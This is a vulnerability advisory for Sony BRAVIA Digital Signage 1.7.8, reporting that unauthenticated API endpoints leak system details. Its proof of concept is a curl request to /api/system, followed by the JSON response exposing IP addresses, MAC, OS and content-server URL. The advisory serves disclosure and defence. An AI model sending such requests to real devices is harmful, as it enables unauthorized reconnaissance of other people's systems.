Sony BRAVIA Digital Signage 1.7.8 System API Information Disclosure


Vendor: Sony Electronics Inc.
Product web page: https://pro-bravia.sony.net
                  https://pro-bravia.sony.net/resources/software/bravia-signage/
                  https://pro.sony/ue_US/products/display-software
Affected version: <=1.7.8

Summary: Sony's BRAVIA Signage is an application to deliver
video and still images to Pro BRAVIAs and manage the information
via a network. Features include management of displays, power
schedule management, content playlists, scheduled delivery
management, content interrupt, and more. This cost-effective
digital signage management solution is ideal for presenting
attractive, informative visual content in retail spaces and
hotel reception areas, visitor attractions, educational and
corporate environments.

Desc: The application is vulnerable to sensitive information
disclosure vulnerability. An unauthenticated attacker can
visit several API endpoints and disclose information running
on the device.

Tested on: Microsoft Windows Server 2012 R2
           Ubuntu
           NodeJS
           Express


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2020-5610
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5610.php


20.09.2020

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$ curl http://192.168.1.20:8080/api/system

{"__v":0,"_id":"5fa1d6ed9446da0b002d678f","version":"1.7.8","contentsServer":{"url":"http://192.168.1.21/joxy/"},"networkInterfaces":{"lo":[{"address":"127.0.0.1","netmask":"255.0.0.0","family":"IPv4","mac":"00:00:00:00:00:00","internal":true}],"eth0":[{"address":"192.168.1.20","netmask":"255.255.255.0","family":"IPv4","mac":"ZE:R0:SC:13:NC:30","internal":false}]},"serverTime":"2020-12-01T20:13:41.069+01:00","os":"Synology","hostIp":"192.168.1.21"}